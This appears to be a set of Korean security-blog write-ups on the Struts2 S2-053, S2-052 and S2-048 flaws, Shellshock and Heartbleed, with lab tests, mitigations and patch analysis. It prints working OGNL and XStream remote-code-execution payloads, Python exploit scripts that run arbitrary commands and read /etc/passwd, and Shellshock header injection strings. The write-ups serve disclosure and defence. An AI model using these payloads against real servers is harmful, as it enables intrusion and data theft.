daesun8292@a3security.com

TeamCR@K

황대선 선임컨설턴트


취약점 번호 : CVE-2017-12611(S2-503)

영향받는 버전 : Struts 2.0.1 - Structs2.3.33 , Struts 2.5 - Struts 2.5.10

영향받지 않는 버전 : Struts 2.5.12, Struts 2.3.32


개요

 - Apache Struts2 에서 임의 코드 실행이 가능한 취약점이 발견


내용

 - FreeMakrer 태그의 잘못된 구성으로 사용할 때 요청 값에 원격 코드 실행이 가능한 취약점

 - 매개 변수에 Rewrite가 되도록 %{} 구문을 사용하여 전송하는 경우에 해당 구문이 실행됨.


Freemarker 란?

 - 프리마커는 자바 서블릿을 위한 오픈소스 HTML 템플릿 엔진이다.

 - 프리마커에서는 HTML을 템플릿으로 저장하는데 이들은 결국 템플릿객체로 컴파일 된다. 

 - 프리마커 객체들은 서블릿에서 제공하는 데이터들을 이용하여 HTML을 동적으로 생성한다.


Freemarker 구조

 - FreeMarker는 표현의 결과물을 HTML(템플릿)로 관리하고 여기에 자바 객체를 연결하여 최종적인 결과를 만들어낸다.

[그림 1] Freemarker 구조


Poc

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream(),"GBK"))}


freemarker 취약점이 존재하는 환경 구성을 진행하였습니다.

[그림 2] freemarker 취약점이 존재하는 환경 구성


name 파라미터에 입력 후 value 값에 ${}로 출력하는 소스코드를 확인하였습니다.

[그림 3] freemarker취약점이 존재하는 소스코드 확인


웹 프록시를 이용하여 GET -> POST로 바꾼 후 name 파라미터 값에 %25{100-3} 삽입 시 결과 값으로 97이 출력되는 것을 확인하였습니다.

[그림 4] 취약점 테스트 확인


공격구문을 URL 인코딩 후 접근할 경우 RCE(Remote Command Execution)가 발생하는 것을 확인하였습니다.

[그림 5] RCE발생 확인


Python 소스코드

# -*- coding:utf-8 -*-

import sys

import requests

from urllib import quote


def exploit(url,cmd):

    payload = "%{"

    payload += "(#_='multipart/form-data')."

    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."

    payload += "(#_memberAccess?"

    payload += "(#_memberAccess=#dm):"

    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."

    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."

    payload += "(#ognlUtil.getExcludedPackageNames().clear())."

    payload += "(#ognlUtil.getExcludedClasses().clear())."

    payload += "(#context.setMemberAccess(#dm))))."

    payload += "(#cmd='%s')." % cmd

    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."

    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."

    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."

    payload += "(#p.redirectErrorStream(true))."

    payload += "(#process=#p.start())."

    payload += "(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}."

    payload += "}"

 

    data={

        "name" : payload,

        }

    print(data)


if __name__ == "__main__":

    if len(sys.argv)!= 3:

           print "Usage S2-053.py <url> <cmd>" %(sys.argv[0])

           sys.exit(0)

 

    print "[*] exploit Apache Struts2 S2-053"

    url = sys.argv[1]

    cmd = sys.argv[2]

 

    exploit(url, cmd)


[그림 6] 작성한 공격코드 실행


프록시를 통해 공격구문을 입력하여 접근 시, strace 를 통해 분석하였습니다. (요청 값 확인)

[그림 7] 요청 값 확인


[그림 8] /usr/bash 명령어 실행


[그림 9] /usr/sbin/ifconfig 명령어 실행


[그림 10] ifconfig 명령어 응답


대응 방안

 - 취약점에 영향을 받지 않는 버전으로 업데이트 수행(Apache Struts 2.5.12, Apache Struts 2.3.34)

 - 읽기만 가능한 속성을 이용하여 value 값 초기화(getter 속성에 한하여)

 - freemarker 미사용

dkgang@a3security.com

TeamCR@K
강다경 컨설턴트 (A.K.A 따구)


1. 취약점 개요

Apache struts2에서 REST Plugin을 이용해 통신할 때 공격자가 임의의 명령어를 전송할 경우 데이터에 대해 체크 없이 deseriallize되어 서버에서 해당 명령어가 실행이 되는 RCE(Remote Code Execute)가 가능한 취약점 입니다.


2. 영향을 받는 제품 및 버전

  - Apache Struts 2.1.2~2.3.33

  - Apache Struts 2.5~2.5.12


3. PoC 테스트 환경

 Server(victim) - 192.168.44.135

  - CentOS Linux 7

  - Apache Tomcat 7.0

  - Apache Struts 2.3.15.1

 Client(Attacker) - 192.168.44.134

  - Kali Linux 4.9


4. PoC 테스트

먼저 GET에서 POST로 method를 변경한뒤,

header 에 Content-Type 을 application/xml 로,

Data에 XML payload를 삽입하여 요청패킷을 전송합니다.

이번 테스트는 서버에서 firefox가 실행되도록 명령어를 전송하였습니다.


[그림 1] payload전송 - 1


[그림 2] payload전송 - 2


서버에서 RCE(Remote Code Execute)가 발생하여 firefox가 실행되는 것을 확인하였습니다.

[그림 3] RCE로 firefox실행 확인


payload를 이용하여 다음과 같이 공격코드를 작성하였습니다.

import requests

import sys


def exploit(url, cmd):

    url = url

    cmd = "".join(["<string>{0}</string>".format(_) for _ in cmd.split(" ")])

    payload = """

<map>

  <entry>

    <jdk.nashorn.internal.objects.NativeString>

      <flags>0</flags>

      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">

        <dataHandler>

          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">

            <is class="javax.crypto.CipherInputStream">

              <cipher class="javax.crypto.NullCipher">

                <initialized>false</initialized>

                <opmode>0</opmode>

                <serviceIterator class="javax.imageio.spi.FilterIterator">

                  <iter class="javax.imageio.spi.FilterIterator">

                    <iter class="java.util.Collections$EmptyIterator"/>

                    <next class="java.lang.ProcessBuilder">

                      <command>

                        {0}

                      </command>

                      <redirectErrorStream>false</redirectErrorStream>

                    </next>

                  </iter>

                  <filter class="javax.imageio.ImageIO$ContainsFilter">

                    <method>

                      <class>java.lang.ProcessBuilder</class>

                      <name>start</name>

                      <parameter-types/>

                    </method>

                    <name>foo</name>

                  </filter>

                  <next class="string">foo</next>

                </serviceIterator>

                <lock/>

              </cipher>

              <input class="java.lang.ProcessBuilder$NullInputStream"/>

              <ibuffer/>

              <done>false</done>

              <ostart>0</ostart>

              <ofinish>0</ofinish>

              <closed>false</closed>

            </is>

            <consumed>false</consumed>

          </dataSource>

          <transferFlavors/>

        </dataHandler>

        <dataLen>0</dataLen>

      </value>

    </jdk.nashorn.internal.objects.NativeString>

    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>

  </entry>

  <entry>

    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

  </entry>

</map>

""".format(cmd)

    headers = {

        'Referer': str(url),

        'Content-Type': 'application/xml',

        'Accept': '*/*'

    }

    timeout = 3

    try:

        output = requests.post(url, data=payload, headers=headers, verify=False, timeout=timeout, allow_redirects=False).text

    except Exception as e:

        print("@@EXCEPTION:" + str(e))

        output = 'ERROR'

    return(output)



if __name__ == '__main__':

    if len(sys.argv) != 3:

        print "usage:python %s <url> <cmd>"%(sys.argv[0])

        sys.exit(0)


    print "[*] exploit Apache Struts2 S2-052"

    url = sys.argv[1]

    cmd = sys.argv[2]


    print "[*] URL:%s" %url

    print "[*] CMD:%s" %cmd


    exploit(url, cmd)


작성한 코드를 이용하여 정상적으로 Reverse Connection이 가능한 것을 확인하였습니다.

[그림 4] 공격코드를 이용해 Reverse Connection가능 확인


5. 조치 방법

 - Struts 2.5.13 혹은 2.3.34 버전으로 업그레이드

 - 사용하지 않는 REST 플러그인 삭제

 - XML 지원 삭제


6. patche 분석

Rest Plug-in 구성을 살펴보았습니다.

[그림 5] Rest Plug-in 구성 확인


patche 전 버전과 patche 후 버전의 XstreamHandler.class를 비교해 보았습니다.

XML 문서의 데이터가 XStream desrialization을 하는 동안 방지하기 악의적인 명령이 실행되는 것을 방지 하기 위해 허용목록이 지정되어 있습니다.

[그림 6] S2-052 취약점 패치 전, 후버전의 XstreamHandler.class 비교


7. 참조

https://struts.apache.org/docs/s2-052.html

https://medium.com/@0x00pentester/apache-struts2-rce-cve-2017-9805-4c6f58b622cb


다음 URL에 먼저 참고하시면 도움이 되실 것 같습니다.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9791

 http://struts.apache.org/docs/s2-048.html


테스트는 CentOS 6.9에서 Apache Struts 2.3.15.1 버전을 구성하여 진행하였습니다.


다음과 같은 공격구문을 URL 인코딩 한 후 name 파라미터에 입력 시도합니다.

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}


공격구문을 입력하여 접근할 경우 RCE(Remote Command Execution)가 발생하는 것을 확인하였습니다.

[그림 1] 취약한 Apache Struts 버전의 테스트 화면


위의 공격구문을 이용하여 다음과 같이 공격코드를 작성합니다.


# -*- coding: utf-8 -*-

 import sys

 import requests


 def exploit(url, cmd):

     payload = "%{"

     payload += "(#_='multipart/form-data')."

     payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."

     payload += "(#_memberAccess?"

     payload += "(#_memberAccess=#dm):"

     payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."

     payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."

     payload += "(#ognlUtil.getExcludedPackageNames().clear())."

     payload += "(#ognlUtil.getExcludedClasses().clear())."

     payload += "(#context.setMemberAccess(#dm))))."

     payload += "(#cmd='%s')." % cmd

     payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."

     payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."

     payload += "(#p=new java.lang.ProcessBuilder(#cmds))."

     payload += "(#p.redirectErrorStream(true))."

     payload += "(#process=#p.start())."

     payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."

     payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."

     payload += "(#ros.flush())"

    payload += "}"

 

     data = {

         "name": payload,

         "age": 26,

         "__checkbox_bustedBefore": "true",

         "description": "S2-048"

     }

 

> -- snip --<


 if __name__ == '__main__':

     if len(sys.argv) != 3:

         print "usage: python %s <url> <cmd>" % (sys.argv[0])

         sys.exit(0)

 

     print "[*] exploit Apache Struts2 S2-048"

     url = sys.argv[1]

     cmd = sys.argv[2]

 

     exploit(url, cmd)


작성한 공격코드를 실행할 경우 프록시를 이용하여 공격한 결과와 동일한 결과를 얻을 수 있습니다.


[그림 2] 작성한 공격코드 실행 - 1


[그림 3] 작성한 공격코드 실행 - 2


프록시를 통해 공격구문을 입력하여 접근 시, strace를 통해 분석하였습니다.


[그림 4] 요청 값 확인


[그림 5] 자식 프로세스 생성


[그림 6] /bin/bash 명령어 실행


[그림 7] /bin/cat 명령어 실행


[그림 8] /etc/passwd 파일 일기


[그림 9] /etc/passwd 파일 내용 응답


해당 취약점은 소스코드 수정을 통해 조치할 수 있습니다.


[그림 10] 취약한 SaveGangsterAction.java


[그림 11] 조치된 SaveGangsterAction.java


위와 같이 소스코드 수정을 통해 조치된 것을 확인하였습니다.

[그림 12] 조치 확인


Shellshock 분석 및 테스트

취약점 분석/2009년 이후 2014. 10. 15. 01:56 Posted by TEAMCR@K

Shellshock 분석 및 테스트


maz3 (maz3@a3security.com)

CrazyPure (jschoi@a3security.com)


Shellshock 취약점은 리눅스를 포함한 유닉스 계열 운영체제에서 사용되는 명령어 실행 툴인 bash로부터 발생하는 취약점입니다.

취약한 버전의 bash를 사용하는 것으로 보안위협에 노출될 수 있으며, 이에 대해 특수문자를 사용하거나 메모리 실행 오류를 이용하여 임의의 명령어를 실행하도록 하는 등의 위협 시나리오가 거론되고 있습니다.


Shellshock 보안취약점의 알려진 내용은 다음과 같습니다.


* 공통 사항: 취약한 bash 버전의 쉘을 사용하고 있어야 함

1. 파싱 오류로 인한 보안 취약점 노출: 특정 프로세스를 생성하는 등의 행위를 하는 모듈이 동작해야 함 (Ex: Enabled CGI module on the apache web server)

2. 메모리 실행 오류로 인한 보안 취약점 노출: 위의 공통 사항과 동일


초기 Shellshock 보안취약점이 알려지기 시작할 때에는 특수문자를 통해 bash의 환경변수를 조작하여 임의의 명령어를 실행하는 것으로 알려졌고 특성을 타는 취약점이라는 이해 아래 공식적인 취약점 보완 절차가 이루어졌지만, 이후 알려진 메모리 실행 오류의 보안취약점으로 인해 현재에는 무조건 bash를 최신버전으로 업데이트 해야 하는 상황으로 발전하게 됩니다.


다음은 현재까지 알려진 Shellshock 취약점 분류 내역입니다.


  CVE NAME

  Test Code

 Patch Notes

 CVE-2014-6271

User-Agent: () { :;}; /bin/bash -c "ping ${IP_ADDRESS} –c3"

 http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-025

 CVE-2014-6277

User-Agent: () { 0; }; /bin/bash -c 'x() { _; }; x() { _; } <<a;'

 http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-029

 CVE-2014-6278

 User-Agent: () { _; } >_[$($())] { id >/tmp/CVE-2014-6278; }

 http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-030

 CVE-2014-7169

 env X='() { (a)=>\' bash -c "echo date"

 http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-026

 CVE-2014-7186

 bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF'

 http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-028

 CVE-2014-7187

 (for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) | bash || echo "CVE-2014-7187 vulnerable, word_lineno"

 http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-028


제일 처음 Shellshock 취약점으로 도출된 CVE-2014-6271의 케이스로 다음 테스트들을 진행해 보았습니다.


* CVE-2014-6271 테스트 #1: Apache CGI


먼저 취약점 점검 테스트용 환경 구성 후 bash를 사용하는 CGI 파일을 간단하게 작성하였습니다.



[그림 1] hello.cgi 작성


CGI의 URL과 Command를 입력받는 점검 스크립트를 실행하여 서버에 존재하는 /etc/passwd 파일의 내용을 확인 할 수 있습니다.



[그림 2] hello.cgi를 대상으로 공격 시도 및 결과


위 점검 스크립트 내용의 일부입니다.



[그림 3] 공격 시도 프로그램 소스코드의 일부


해당 스크립트는 'User-Agent' HTTP 헤더에 코드를 삽입하여 CGI가 실행될 때, 임의의 명령어가 실행되도록 작성하였습니다.

임의의 명령어가 실행된다면 Reverse Connection도 가능하므로 스크립트를 수정하여 실행해 보았습니다.



[그림 4] Reverse Connection을 사용하도록 소스코드 수정


정상적으로 Reverse Connection이 실행되는 것을 확인 할 수 있습니다.



[그림 5] Reverse Connection 실행 결과


* CVE-2014-6271 테스트 #2: OpenSSH


OpenSSH의 경우 sshd_config에서 설정 가능한 ForceCommand 옵션이나 authorized_keys에서 설정하도록 되어 있는 command 옵션이 존재합니다.
해당 옵션들은 제한된 명령어만 사용하도록 설정하는 옵션이나, 본 취약점에 노출될 경우 정해진 명령어가 아닌 허용되지 않은 다른 명령어들에 대해 실행이 가능합니다.


[그림 6] OpenSSH 공격용으로 스크립트 수정



[그림 7] 취약점 공격으로 ForceCommand 옵션 설정을 우회


공격코드가 실행되면 클라이언트는 $SSH_ORIGINAL_COMMAND라는 환경변수를 서버측에 전달하게 되는데 이 때 공격에 노출되어 허용된 명령어가 아닌 타 명령어가 실행 가능하게 됩니다. 

OpenSSH의 경우 ForceCommand 등의 설정을 사용하는 서버가 공격에 취약합니다.


다음은 CVE-2014-6271 외 다른 취약점들을 테스트 해 보았습니다.


* CVE-2014-6277 테스트: 


CGI 페이지 호출 시, User-Agent 파라미터에() { 0; };코드를 삽입하여 쉘이 실행되도록 한 후 메모리 실행 오류를 발생시키는 'x() { _; }; x() { _; } <<a;'코드를 삽입하였고, apache의 errer.log를 확인한 결과 메모리 실행 오류가 발생하는 것을 확인하였습니다.


[그림 8] CVE-2014-6277 취약점 공격 시도



[그림 9] CVE-2014-6277 취약점 공격 결과


* CVE-2014-6278 테스트: 


CGI 페이지 호출 시 User-Agent 파라미터에‘() { _; } >_[$($())] { cmd; }’코드를 삽입하여 웹 서버를 대상으로 한 임의의 명령어가 실행 가능한 것을 확인하였습니다.


[그림 10] CVE-2014-6278 취약점 공격 시도




[그림 11] CVE-2014-6278 취약점 공격 결과


* CVE-2014-7169 테스트: 


환경변수 선언 시 '() { (a)=>\' 코드를 입력하여 쉘을 이용한 명령어 실행이 가능한 것을 확인하였습니다.



[그림 12] CVE-2014-7169 취약점 테스트 결과


* CVE-2014-7186 테스트: 


Bash 쉘을 통해 다중 문서를 중첩하여 호출 시, 메모리 실행 오류가 발생하는것을 확인하였습니다.


[그림 13] CVE-2014-7186 취약점 테스트 결과



다음은 각 취약점들에 대한 패치를 잠시 보도록 하겠습니다.

* CVE-2014-6271-Patch
Bug-Description:

Under certain circumstances, bash will execute user code while processing the
environment for exported function definitions.
*** ../bash-4.3-patched/builtins/common.h	2013-07-08 16:54:47.000000000 -0400
--- builtins/common.h	2014-09-12 14:25:47.000000000 -0400
***************
*** 34,37 ****
--- 49,54 ----
  #define SEVAL_PARSEONLY	0x020
  #define SEVAL_NOLONGJMP 0x040
+ #define SEVAL_FUNCDEF	0x080		/* only allow function definitions */
+ #define SEVAL_ONECMD	0x100		/* only allow a single command */
  
  /* Flags for describe_command, shared between type.def and command.def */
*** ../bash-4.3-patched/builtins/evalstring.c	2014-02-11 09:42:10.000000000 -0500
--- builtins/evalstring.c	2014-09-14 14:15:13.000000000 -0400
***************
*** 309,312 ****
--- 313,324 ----
  	      struct fd_bitmap *bitmap;
  
+ 	      if ((flags & SEVAL_FUNCDEF) && command->type != cm_function_def)
+ 		{
+ 		  internal_warning ("%s: ignoring function definition attempt", from_file);
+ 		  should_jump_to_top_level = 0;
+ 		  last_result = last_command_exit_value = EX_BADUSAGE;
+ 		  break;
+ 		}
+ 


파서 실행 중 넘어 온 플래그에 함수 정의(Function Definition)를 명시했을 때 다시 타입을 비교해서 맞지 않으면 예외처리 합니다.


* CVE-2014-6277-Patch

Bug-Description:

When bash is parsing a function definition that contains a here-document
delimited by end-of-file (or end-of-string), it leaves the closing delimiter
uninitialized.  This can result in an invalid memory access when the parsed
function is later copied.

*** ../bash-4.3.28/make_cmd.c 2011-12-16 08:08:01.000000000 -0500 --- make_cmd.c 2014-10-02 11:24:23.000000000 -0400 *************** *** 693,696 **** --- 693,697 ---- temp->redirector = source; temp->redirectee = dest_and_filename; + temp->here_doc_eof = 0; temp->instruction = instruction; temp->flags = 0; *** ../bash-4.3.28/copy_cmd.c 2009-09-11 16:28:02.000000000 -0400 --- copy_cmd.c 2014-10-02 11:24:23.000000000 -0400 *************** *** 127,131 **** case r_reading_until: case r_deblank_reading_until: ! new_redirect->here_doc_eof = savestring (redirect->here_doc_eof); /*FALLTHROUGH*/ case r_reading_string: --- 127,131 ---- case r_reading_until: case r_deblank_reading_until: ! new_redirect->here_doc_eof = redirect->here_doc_eof ? savestring (redirect->here_doc_eof) : 0;


스크립트가 끝나는 지점인 EOF(End Of File)를 체크할 수 있도록 특정 구조체에 변수를 추가하여 초기화 해 줍니다.


* CVE-2014-6278-Patch

Bug-Description:

A combination of nested command substitutions and function importing from
the environment can cause bash to execute code appearing in the environment
variable value following the function definition.
*** ../bash-4.3.29/parse.y	2014-10-01 12:58:43.000000000 -0400
--- parse.y	2014-10-03 14:48:59.000000000 -0400
***************
*** 2539,2542 ****
--- 2539,2552 ----
  }
  
+ char *
+ parser_remaining_input ()
+ {
+   if (shell_input_line == 0)
+     return 0;
+   if (shell_input_line_index < 0 || shell_input_line_index >= shell_input_line_len)
+     return '\0';	/* XXX */
+   return (shell_input_line + shell_input_line_index);
+ }
+ 


함수 정의 부분에서 nested function name 이 있을 경우 이를 예외처리 하도록 합니다.


* CVE-2014-7169-Patch

Bug-Description:

Under certain circumstances, bash can incorrectly save a lookahead character and
return it on a subsequent call, even when reading a new line.

Patch (apply with `patch -p0'):

*** ../bash-4.3.25/parse.y	2014-07-30 10:14:31.000000000 -0400
--- parse.y	2014-09-25 20:20:21.000000000 -0400
***************
*** 2954,2957 ****
--- 2954,2959 ----
    word_desc_to_read = (WORD_DESC *)NULL;
  
+   eol_ungetc_lookahead = 0;
+ 
    current_token = '\n';		/* XXX */
    last_read_token = '\n';
*** ../bash-4.3.25/y.tab.c	2014-07-30 10:14:32.000000000 -0400
--- y.tab.c	2014-09-25 20:21:48.000000000 -0400
***************
*** 5266,5269 ****
--- 5266,5271 ----
    word_desc_to_read = (WORD_DESC *)NULL;
  
+   eol_ungetc_lookahead = 0;
+ 
    current_token = '\n';		/* XXX */
    last_read_token = '\n';


newline을 뜻하는 '\n' 문자에 대해 예외처리 하도록 합니다.


* CVE-2014-7186-Patch

Bug-Description:

There are two local buffer overflows in parse.y that can cause the shell
to dump core when given many here-documents attached to a single command
or many nested loops.

Patch (apply with `patch -p0'):

*** ../bash-4.3-patched/parse.y 2014-09-25 23:02:35.000000000 -0400 --- parse.y 2014-09-29 16:47:03.000000000 -0400 *************** *** 169,172 **** --- 169,175 ---- static int reserved_word_acceptable __P((int)); static int yylex __P((void)); + + static void push_heredoc __P((REDIRECT *)); + static char *mk_alexpansion __P((char *)); static int alias_expand_token __P((char *)); static int time_command_acceptable __P((void)); *************** *** 266,270 **** /* Variables to manage the task of reading here documents, because we need to defer the reading until after a complete command has been collected. */ ! static REDIRECT *redir_stack[10]; int need_here_doc; --- 269,275 ---- /* Variables to manage the task of reading here documents, because we need to defer the reading until after a complete command has been collected. */ ! #define HEREDOC_MAX 16 ! ! static REDIRECT *redir_stack[HEREDOC_MAX]; int need_here_doc;

+ + static void push_heredoc __P((REDIRECT *)); + static char *mk_alexpansion __P((char *));

+ static void

+ push_heredoc (r)
+      REDIRECT *r;
+ {
+   if (need_here_doc >= HEREDOC_MAX)
+     {
+       last_command_exit_value = EX_BADUSAGE;
+       need_here_doc = 0;
+       report_syntax_error (_("maximum here-document count exceeded"));
+       reset_parser ();
+       exit_shell (last_command_exit_value);
+     }
+   redir_stack[need_here_doc++] = r;
+ }
+ 


다중으로 문서가 중첩되어 호출될 경우 발생하는 메모리 접근 오류가 일어나지 않도록 예외처리를 합니다.


* CVE-2014-7187-Patch

Bug-Description:

There are two local buffer overflows in parse.y that can cause the shell
to dump core when given many here-documents attached to a single command
or many nested loops.
*** ../bash-4.3-patched/parse.y	2014-09-25 23:02:35.000000000 -0400
--- parse.y	2014-09-29 16:47:03.000000000 -0400
***************
*** 169,172 ****
--- 169,175 ----
  static int reserved_word_acceptable __P((int));
  static int yylex __P((void));
+ 
+ static void push_heredoc __P((REDIRECT *));
+ static char *mk_alexpansion __P((char *));
  static int alias_expand_token __P((char *));
  static int time_command_acceptable __P((void));
***************
*** 266,270 ****
  /* Variables to manage the task of reading here documents, because we need to
     defer the reading until after a complete command has been collected. */
! static REDIRECT *redir_stack[10];
  int need_here_doc;
  
--- 269,275 ----
  /* Variables to manage the task of reading here documents, because we need to
     defer the reading until after a complete command has been collected. */
! #define HEREDOC_MAX 16
! 
! static REDIRECT *redir_stack[HEREDOC_MAX];
  int need_here_doc;
  
***************
*** 308,312 ****
     index is decremented after a case, select, or for command is parsed. */
  #define MAX_CASE_NEST	128
! static int word_lineno[MAX_CASE_NEST];
  static int word_top = -1;
  
--- 313,317 ----
     index is decremented after a case, select, or for command is parsed. */
  #define MAX_CASE_NEST	128
! static int word_lineno[MAX_CASE_NEST+1];
  static int word_top = -1;
  
! #line 785 "/usr/src/local/chet/src/bash/bash-4.3.28/parse.y"
      {
  			  (yyval.command) = make_for_command ((yyvsp[(2) - (6)].word), add_string_to_list ("\"$@\"", (WORD_LIST *)NULL), (yyvsp[(5) - (6)].command), word_lineno[word_top]);
***************
*** 2707,2711 ****



스크립트 파서 수행 중 별도의 스크립트 실행 구문을 만들어 내는 과정에서 해당 내용이 담긴 변수에 대해 적절한 경계 값을 검사하도록 하여 예외처리를 합니다. 


* References

http://en.wikipedia.org/wiki/Shellshock_(software_bug)

http://www.dwheeler.com/essays/shellshock.html

http://support.novell.com/security/cve/CVE-2014-7187.html

http://ftp.gnu.org/gnu/bash/bash-4.3-patches/

http://teamcrak.tistory.com/379

http://lcamtuf.blogspot.kr/2014/10/bash-bug-how-we-finally-cracked.html

http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=shellshock

http://shellshock.brandonpotter.com/



CVE-2014-6271으로 알려진 ShellShock이 이슈화 되고 있는데, 간단한 내용을 알아보고자 합니다.


다음의 URL을 먼저 방문하시면 도움이 되실 것 같습니다.

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271

https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/


테스트는 CentOS 6.3 64bit machine에서 진행하였습니다.


[그림 1] 취약한 bash 버전의 테스트 화면


위 테스트에서 기본적으로 다음과 같은 구문이 문제시 되는 것 같습니다.

env x='() { : ; } ; echo vulnerable'


쉘 스크립트 언어의 Syntax 측면에서 파싱 구조를 살펴보았을 때 '변수 x'에 할당하고 있는 값은 ' (single quotes) 가 시작해서 끝나는 지점까지를 해당 변수의 값으로 할당하여야 하지만, 특수 문자 파싱의 오류로 인하여 ';' 문자 뒤의 echo 구문이 쉘 스크립트의 실행 구문으로 실행되어 문제가 발생하는 것 같습니다.

즉, "echo vulnerable" 문자열은 콘솔 상 출력되지 않아야 할 "변수 x"의 값이어야 하나, 해당 문자열이 쉘 스크립트의 실행 영역으로 수행되면서 악의적인 명령어의 삽입이 가능합니다.


조금 더 자세한 구조를 알아보기 위해 ltrace를 사용해 보았습니다.

 

[그림 2] 변수 할당 영역을 벗어나 구문 실행 파싱 영역으로 수행되는 테스트 코드


[그림 3] 쉘 스크립트의 실행 구문 파싱 영역


해당 취약점은 패키지 업데이트로 해결할 수 있습니다.


[그림 4] bash 패키지 업데이트


현재 TeamCR@K은 더 상세한 내용을 위해 분석 중에 있으며, 분석이 완료되면 해당 내용을 다시 게시하도록 하겠습니다.


I. 분석 개요

 

분석 대상

OpenSSL Library 1.0.0l

문서 작성일

2014.04.11

문서 버전

V0.3

 

OpenSSL프로젝트는 정해진 규격의 네트워크 보안 프로토콜을 범용 라이브러리로 구현하기 위한 목적을 가지고 오픈소스 프로젝트로 시작하였으며, 현재 세계 개발자들이 유지보수에 참여하고 있다.

OpenSSL라이브러리는 OpenSSL 프로젝트의 결과물로써, 데이터 통신 사용되는 네트워크 암호화 프로토콜인 TLS(Transport Layer Security) SSL(Secure Sockets Layer)기능을 구현한 라이브러리이다.

이러한 OpenSSL라이브러리는 네트워크 보안 프로토콜에 사용되는 소프트웨어나 네트워크 하드웨어 장비 등에 사용되고 있는데, 라이브러리와 관련하여 지난 2014 4 8 “HeartBleed”라는 이름의 보안 취약점이 공개 되었다.

“HeartBleed” 취약점은 OpenSSL 라이브러리를 사용하는 서버와 통신 조작된 TLS 패킷 전송 과정을 적절하게 검증하지 않음으로 발생한다. SSL 사용한 네트워크 통신 과정에는 서버와 클라이언트 연결을 안정적으로 지속시키기 위해 연결 지속 신호를 주고 받도록 되어 있는HeartBeat라는 과정이 존재한다. 취약한 버전의OpenSSL 라이브러리는HeartBeat 통신 과정을 수행할 특정 변수의 경계 값을 적절히 검증하지 않으며, 이로 인해 서버 메모리 데이터가 노출되는 취약점이 존재한다.

해당 취약점을 통해 개인 , 비밀 키와 서비스를 이용 중인 사용자 세션의 획득이 가능하고 서버와 클라이언트의 암호화 트래픽을 통해 정보를 획득할 있다.

 

-      OpenSSL TLS heartbeat관련 URL

https://www.openssl.org/news/secadv_20140407.txt

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160

http://heartbleed.com/

https://bugzilla.redhat.com/show_bug.cgi?id=1084875

 

-      취약한 버전 정보

openssl:1.0.1f

openssl:1.0.1

openssl:1.0.1:beta1

openssl:1.0.1:beta2

openssl:1.0.1:beta3

openssl:1.0.1a

openssl:1.0.1b

openssl:1.0.1c

openssl:1.0.1d

openssl:1.0.1e

 

 

